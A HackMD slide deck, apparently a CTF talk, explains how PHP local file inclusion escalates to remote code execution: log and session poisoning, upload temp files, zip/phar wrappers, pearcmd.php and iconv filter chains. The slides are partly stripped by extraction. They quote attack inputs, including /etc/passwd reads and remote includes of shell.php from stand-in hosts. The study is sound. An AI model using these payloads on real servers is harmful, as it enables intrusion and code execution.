or
or
By clicking below, you agree to our terms of service.
New to HackMD? Sign up
Syntax | Example | Reference | |
---|---|---|---|
# Header | Header | 基本排版 | |
- Unordered List |
|
||
1. Ordered List |
|
||
- [ ] Todo List |
|
||
> Blockquote | Blockquote |
||
**Bold font** | Bold font | ||
*Italics font* | Italics font | ||
~~Strikethrough~~ | |||
19^th^ | 19th | ||
H~2~O | H2O | ||
++Inserted text++ | Inserted text | ||
==Marked text== | Marked text | ||
[link text](https:// "title") | Link | ||
 | Image | ||
`Code` | Code |
在筆記中貼入程式碼 | |
```javascript var i = 0; ``` |
|
||
:smile: | ![]() |
Emoji list | |
{%youtube youtube_id %} | Externals | ||
$L^aT_eX$ | LaTeX | ||
:::info This is a alert area. ::: |
This is a alert area. |
On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?
Please give us some advice and help us improve HackMD.
Do you want to remove this version name and description?
Syncing
xxxxxxxxxx
One Line PHP
從入門到入土
One Line PHP: From Genesis to Ragnarök
- Ginoah, Bookgin
PHP include
Introduction
PHP: include - Manual
The include expression includes and
evaluates the specified file.
🤔
i.e.
Scenario
🌰
🌰 (cont'd)
http://localhost/?page=home.php
LFI
Local file inclusion
Scenario
Normal Usage
/?page=home.php
Read local file
/?page=/etc/passwd
How to read php src / execute php code
PHP doesn't care about file name
PHP looks for
open tag
in file, such as<?php
<?=
<?
// (short_open_tag=on)<%
// (asp_tags=on)PHP support a lot of protocols and wrappers
PHP Supported Protocols and Wrappers
PHP I/O stream wrapper php://
php://stdin
,php://stdout
..php://input
,php://output
php://fd
php://memory
,php://temp
php://filter
PHP filter
php://filter
php://filter
to Read PHP src codePD9waHAKaW5jbHVkZSgkX0dFVFsncGFnZSddKTsK
From LFI to RCE
From local file inclusion
to remote code execution (RCE)
Include user-controlled data
If we luckily find a file with
<?php phpinfo(); ?>
, we can achieve RCE!Question
Is there a file containing user-controlled data?
Or … can we create one on our own?
LFI to RCE
Remote include
/?page=http://evil.tw/shell.php
/?page=ftp://evil-ftp.tw/shell.php
/?page=data://text/plain,<?php phpinfo();?>
LFI to RCE
Environment variables
/proc/self/environ
If you are still in 2000 where cgi-bin is popular:
Environment variables (cont'd)
because cgi-bin uses env to pass arguments:
Webserver log files
/var/log/apache2/access.log
/var/log/apache2/error.log
Webserver log files (cont'd)
The log files will contain
ssh log files
/var/log/auth.log
ssh log files (cont'd)
The log file will contain
LFI to RCE
PHP session files
If one of the
$_SESSION
value can be controlled:PHP session files (cont'd)
/tmp/sess_<session_id>
<session_id>
can be set to a user-controlled value from the request cookiePHP POST upload
If we send POST with a large file…
PHP POST upload (cont'd)
PHP will create a temp file
/tmp/phpAz7M6x
identical to our uploaded file.Filename:
php[a-zA-Z0-9]{6}
PHP POST upload (cont'd)
Since we need to guess the
/tmp/php??????
filename, we still need one following conditions:/tmp/
phpinfo()
(tmp_name)PHP POST temp file on Windows
php[A-F0-9]{4}
Brute-force 65536 or…
<
is a wildcard*
on Windows!Conclusion
With the default config of Windows PHP, fully LFI is equal to RCE.
One Line PHP
HITCON CTF 2018
One Line PHP Challenge - orange_tw
One Line PHP (cont'd)
@<?php
Revisit our exploits
Session Upload Progress
If
PHP_SESSION_UPLOAD_PROGRESS
in POST data, PHP will enable the session.Session Upload Progress by default is enabled.
Session Upload Progress (cont'd)
POST
PHP_SESSION_UPLOAD_PROGRESS=bazz
/var/lib/php/session/upload_progress_<session_id>
The last piece of the puzzle
The file must start with
@<?php
.How to turn this into the desired string?
Base64 to the rescue
By default, invalid characters will be silently discarded.
base64 chains
Final exploit
Racing the file and include it to RCE!
Conclusion
With the default config of Linux PHP, fully LFI is equal to RCE.
One Line PHP Revenge
RealWorld CTF 2018
The Return of One Line PHP Challenge
- wupco1996
One Line PHP Revenge (cont'd)
Source code and config are exactly the same as One Line PHP challenge, but …
Revisit our exploits
POST upload
/tmp/php[a-zA-Z0-9]{6}
and limited time windowPOST upload (cont'd)
PHP 7.2 bug leads to segmenetaion fault
and the
/tmp/php??????
won't be deletedFinal exploit
/tmp/php??????
files/tmp/php000000
Conclusion
With the default config of Linux PHP 7.2, even if the session upload is disabled, fully LFI is equal to RCE.
1linephp
0CTF/TCTF 2021
One line PHP Challenge with
.php
- yxxx1linephp (cont'd)
1linephp (cont'd)
session.upload_progress = On
.php
@<?php
Zip
extension enabledThe extention tragedy
Can we use
to create
/tmp/sess_blahblah.php
?PHP doesn't allow
.
in Session nameto create/tmp/sess_blahblah.php
$_GET[yxxx] .
'.php'
http://evil.com/shell.php#.php
phar:///tmp/sess_blahblah/shell.php
zip:///tmp/sess_blahblah#shell.php
$_GET[yxxx] .
'.php'
Httpphar:///tmp/sess_blahblah/shell.php
zip:///tmp/sess_blahblah#shell.php
$_GET[yxxx] .
'.php'
HttpPharzip:///tmp/sess_blahblah#shell.php
$_GET[yxxx] .
'.php'
zip:///tmp/sess_blahblah#shell.php
But
/tmp/sess_blahblah
is not a zip file/tmp/sess_blahblah
Zip format
- The image file may be corrupted
- The server hosting the image is unavailable
- The image path is incorrect
- The image format is not supported
Learn More →Ref: Kaibro
Make
sess_blahblah
a zip file- The image file may be corrupted
- The server hosting the image is unavailable
- The image path is incorrect
- The image format is not supported
Learn More →Ref: Kaibro
Race it!
/?yxxx=zip:///tmp/sess_blahblah#shell
Conclusion
With
zip
enabled, we can use zip wrapper to bypass extention restriction. partial LFI with.php
is still equal to RCE.2linephp
Balsn CTF 2021
One line PHP Challenge with
.php
& without Zip - Kaibro2linephp (cont'd)
2linephp (cont'd)
session.upload_progress = On
.php
Zip
extension disabled<?php
What about existing PHP file?
pearcmd.php
Since
pearcmd.php
is a Cmd line tool,It use
$_SERVER['argv']
as argument$_SERVER['argv']
when
register_argc_argv = On
Cmd line
Web
Cmd line
Web
But there's some WAF
p:
,s:
are blockedhttp:
,https:
<?php
config-create
have garbage prefixCmd line
Web
302.php
redirect to http://kaibro.tw/test.php/tmp/pear/temp/test.php
Conclusion
With PHP official docker image, there's a useful b4ckd0or -
pearcmd.php
, partial LFI with.php
is equal to RCE.includer's revenge
hxp CTF 2021
One line PHP Challenge with Nginx - 0xbb
includer's revenge
includer's revenge
file_uploads = Off
session.upload_progress = Off
PHP-FPM
andNginx
is on the same hostPHP-FPM
andNginx
both run withwww-data
Find
www-data
writable file/var/lib/nginx/body
When request body is big enough,
Nginx
will create a temp file to buffer client body/var/lib/nginx/body
(cont'd)But
Nginx
unlike the temp file immediatelyprocfs
Since the file was unlink without closing,
we can still read the file through
fd
under/proc
So..
include('/proc/34/fd/15')
?Nope
include('/proc/34/fd/15')if
php_sys_lstat()
findout the file was deleted, it won't include the file.Soft link loop
Nginx
's pid & fd/proc/<1-1000>/cmdline
to find pidExploit
Nginx
's pidConclusion
When
Nginx
andPHP
is on the same host with same user, even iffile_uploads = Off
&session.upload_progress = Off
, fully LFI is equal to RCE.卍解
PHP include webshell
without
tmp file - loknop- The image file may be corrupted
- The server hosting the image is unavailable
- The image path is incorrect
- The image format is not supported
Learn More →convert.iconv.UTF8.CSISO2022KR
Prepend
\x1b$)C
to any streamconvert.base64-decode
Base64 decode and ignore any non base64 char
e.g.
/etc/passwd
convert.base64-encode
encode/etc/passwd
&
convert.iconv.UTF8.CSISO2022KR
base64 decode
decode('
\x1b$)Ccm9vdDp4OjA6MDpyb290Oi9yb290O...
')We prepend
base64decode('C')
to the stream!Web Shell
Fuzz the char we need
TH3 Bl4ck M4g1c
/etc/passwd
becomeChar Dictionary
PHP_INCLUDE_TO_SHELL_CHAR_DICT
wupco1996
Char Dictionary (cont'd)
Now we can prepend anything to anyfile
Add
3nd @f 1linephp QQ
to/etc/password
Conclution
LFI is equal to RCE.
End
Feedback
- The image file may be corrupted
- The server hosting the image is unavailable
- The image path is incorrect
- The image format is not supported
Learn More →